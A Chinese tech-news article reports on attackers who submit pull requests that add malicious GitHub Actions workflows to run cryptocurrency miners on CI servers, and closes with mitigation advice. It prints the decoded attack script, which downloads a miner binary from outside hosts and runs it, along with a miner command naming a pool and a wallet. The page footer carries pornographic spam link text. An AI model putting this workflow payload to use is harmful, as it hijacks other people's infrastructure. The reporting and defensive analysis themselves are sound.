<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          黑客用GitHub服務(wù)器挖礦,代碼驚現(xiàn)中文

          共 4213字,需瀏覽 9分鐘

           ·

          2021-06-16 11:22

          來源 | 量子位 報道 公眾號 QbitAI

          加密貨幣價格一路高漲,顯卡又買不起,怎么才能“廉價”挖礦?

          黑客們動起了歪心思——“白嫖”服務(wù)器。

          給PC植入挖礦木馬,已經(jīng)無法滿足黑客日益增長的算力需求,如果能用上GitHub的服務(wù)器,還不花錢,那當(dāng)然是極好的。


          而且整個過程可能比侵入PC還容易,甚至都不需要程序員上當(dāng)受騙。只需提交Pull Request(PR),即使項目管理者沒有批準,惡意挖礦代碼依然能夠執(zhí)行。

          原理也很簡單,利用GitHub Action的自動執(zhí)行工作流功能,輕松將挖礦程序運行在GitHub的服務(wù)器上。

          早在去年11月,就已經(jīng)有人發(fā)現(xiàn)黑客這種行為。更可怕的是,半年過去了,這種現(xiàn)象依然沒得到有效制止。

          GitHub心里苦啊,雖然可以封禁違規(guī)賬號,但黑客們玩起了“游擊戰(zhàn)術(shù)”,不斷更換馬甲號逃避“追捕”,讓官方疲于奔命。

          就在幾天前,一位荷蘭的程序員還發(fā)現(xiàn),這種攻擊方式依然存在,甚至代碼里還出現(xiàn)了中文。


          那么,這些黑客是如何植入挖礦程序的呢?一切要從發(fā)現(xiàn)異常的法國程序員Tib說起。

          PR異常讓程序員起疑心

          去年11月,Tib發(fā)現(xiàn),自己在一個沒有參加的repo上收到了PR請求。而且在14個小時內(nèi)就收到了7個,全是來自一個“y4ndexhater1”的用戶,沒有任何描述內(nèi)容。


          令人感到奇怪的是,這并不是一個熱門項目,Star數(shù)量為0。

          打開項目主頁發(fā)現(xiàn),內(nèi)容是Perl項目的github action、circle ci、travis-ci示例代碼集合,整個README文檔一團糟,根本不像一個正經(jīng)的開源項目。


          然而就是這個混亂又冷門的repo,居然在3天里被fork了2次。

          一切都太不正常了,讓人嗅到了一絲不安的氣息。

          嘗試“作死”運行

          本著“作死”的精神,Tib決定一探究竟。

          經(jīng)過那位可疑用戶的操作,Tib所有的action都被刪除,在工作流里被加入了一個ci.yml文件,內(nèi)容如下:


          當(dāng)Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt這一行內(nèi)容后,立刻從沙發(fā)上跳了起來,他意識到事情的嚴重性:有人在入侵他的GitHub個人資料!

          這串看似神秘的字符,其實是base64編碼,經(jīng)過翻譯后,得到了另一段代碼:

          apt update -qq
          apt install -y curl git jq
          curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
          ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
          chmod u+x prog
          timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null

          前面兩行不必解釋,有意思的地方從第三行開始,它會下載一個prog二進制文件。

          為了安全起見,Tib先嘗試獲取信息而不是執(zhí)行,得到了它的十六進制代碼。

          $ objdump -s --section .comment prog
          prog:     file format elf64-x86-64
          Contents of section .comment:
          0000 4743433a 2028416c 70696e65 2031302e  GCC: (Alpine 10.
          0010 322e315f 70726531 29203130 2e322e31  2.1_pre1) 10.2.1
          0020 20323032 30313230 3300                20201203.

          Tib也考慮過反編譯,但是沒有成功。

          不入虎穴,焉得虎子,Tib決定嘗試運行一下。

          要執(zhí)行這一大膽而又作死的任務(wù),防止“試試就逝世”,Tib首先斷開了電腦的網(wǎng)絡(luò)鏈接,并選擇在Docker容器中運行。

          答案終于揭曉,原來這個prog是一個名為XMRig的挖礦程序。

          $ ./prog --version
          XMRig 6.8.1 
          built on Feb  3 2021 with GCC 10.2.1
          features: 64-bit AES

          libuv/1.40.0
          OpenSSL/1.1.1i
          hwloc/2.4.0

          當(dāng)時XMRig的最新版恰好是6.8.1,和上面的版本參數(shù)符合。不過用SHA256檢測后發(fā)現(xiàn),這個prog并不完全是XMRig,Tib預(yù)測它可能是一個修改版。

          實際上,可能被攻擊的不止GitHub,安全公司Aqua推測,像Docker Hub、Travis CI、Circle CI這些SaaS軟件開發(fā)環(huán)境,都可能遭受這類攻擊。

          在這個攻擊過程中,會派生一個合法的repo,負責(zé)將惡意的GitHub Action添加到原始代碼。然后,黑客再向原始repo提交一個PR,將代碼合并回原始repo。

          下載的挖礦程序會偽裝成prog或者gcc編譯器,通過提交PR在項目執(zhí)行自動化工作流。此時服務(wù)器將運行偽裝后的挖礦程序。


          這些攻擊者僅一次攻擊就可以運行多達100個挖礦程序,從而給GitHub的服務(wù)器帶來了巨大的計算量。

          據(jù)Aqua估計,僅在三天的時間里,挖礦黑客就在GitHub上有超過2.33萬次commit、在Docker Hub上5.8萬次build,轉(zhuǎn)化了大約3萬個挖礦任務(wù)。

          可以防范但很難根除

          這種攻擊甚至不需要被攻擊的倉庫管理者接受惡意Pull Request。

          只要在.github/workflows目錄里面的任意.yml文件中配置了在收到Pull Request時執(zhí)行,來自黑客的Action就會自動被執(zhí)行。

          如果你沒有使用這個功能,那就不用擔(dān)心啦,黑客大概也不會找上你。

          需要用到這個功能的話,可以設(shè)置成只允許本地Action或只允許Github官方及特定作者創(chuàng)建的Action。


          將情況反饋給客服后,GitHub會對惡意賬號進行封號和關(guān)閉相關(guān)Pull Request的操作。

          但惡意攻擊很難被根除,黑客只需要注冊新的賬號就可以繼續(xù)白嫖服務(wù)器資源。

          攻擊還在繼續(xù)

          我們從最近一次攻擊中發(fā)現(xiàn),黑客將挖礦程序上傳到GitLab并偽裝成包管理工具npm。

          打開這個可疑的nani.bat,可以看到:

          npm.exe --algorithm argon2id_chukwa2
          --pool turtlecoin.herominers.com:10380
          --wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP 
          --password xo

          這一次黑客挖的是烏龜幣*(TurtleCoin)*,可使用CPU計算。按當(dāng)前價格挖出四千多個幣才值1美元。


          Github Actions的免費服務(wù)器可以提供英特爾E5 2673v4的兩個核心,7GB內(nèi)存。

          大致估算單臺運行一天只能獲利幾美分,而且黑客的挖礦程序通常只能在被發(fā)現(xiàn)之前運行幾個小時。比如Docker Hub就把自動build的運行時間限制在2個小時。

          不過蚊子再小也是肉,黑客通過尋找更多接受公開Action的倉庫以及反復(fù)打開關(guān)閉Pull Request就能執(zhí)行更多的挖礦程序。


          同一黑客賬號至少攻擊了95個GitHub倉庫

          正如Twitter用戶Dave Walker所說的,如果你提供免費的計算資源,就要做好會被攻擊和濫用的覺悟。挖礦有利可圖的情況下這是不可避免的。

          據(jù)報道,受害的不止GitHub,還有Docker Hub、Travis CI以及Circle CI等提供類似服務(wù)的持續(xù)集成平臺。

          這一亂象不知何時才能結(jié)束,唯一的好消息可能就是,挖礦的黑客似乎只是針對GitHub提供的服務(wù)器資源,而不會破壞你的代碼。

          但是GitHub Action的漏洞不止這一個。還有方法能使黑客讀寫開發(fā)者的倉庫,甚至可以讀取加密的機密文件。


          去年7月,Google Project Zero團隊就已向GitHub通報漏洞。但在給出的90天修復(fù)期限+延長14天后,GitHub仍未能有效解決。

          對此,我們的建議是,不要輕易相信GitHub市場里的Action作者,不要交出你的密匙。

          瀏覽 69
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  女毛片| 日韩AV无码专区亚洲AV | 黄色片国产 | 中文在线а√在线 | 美女黄片视频 |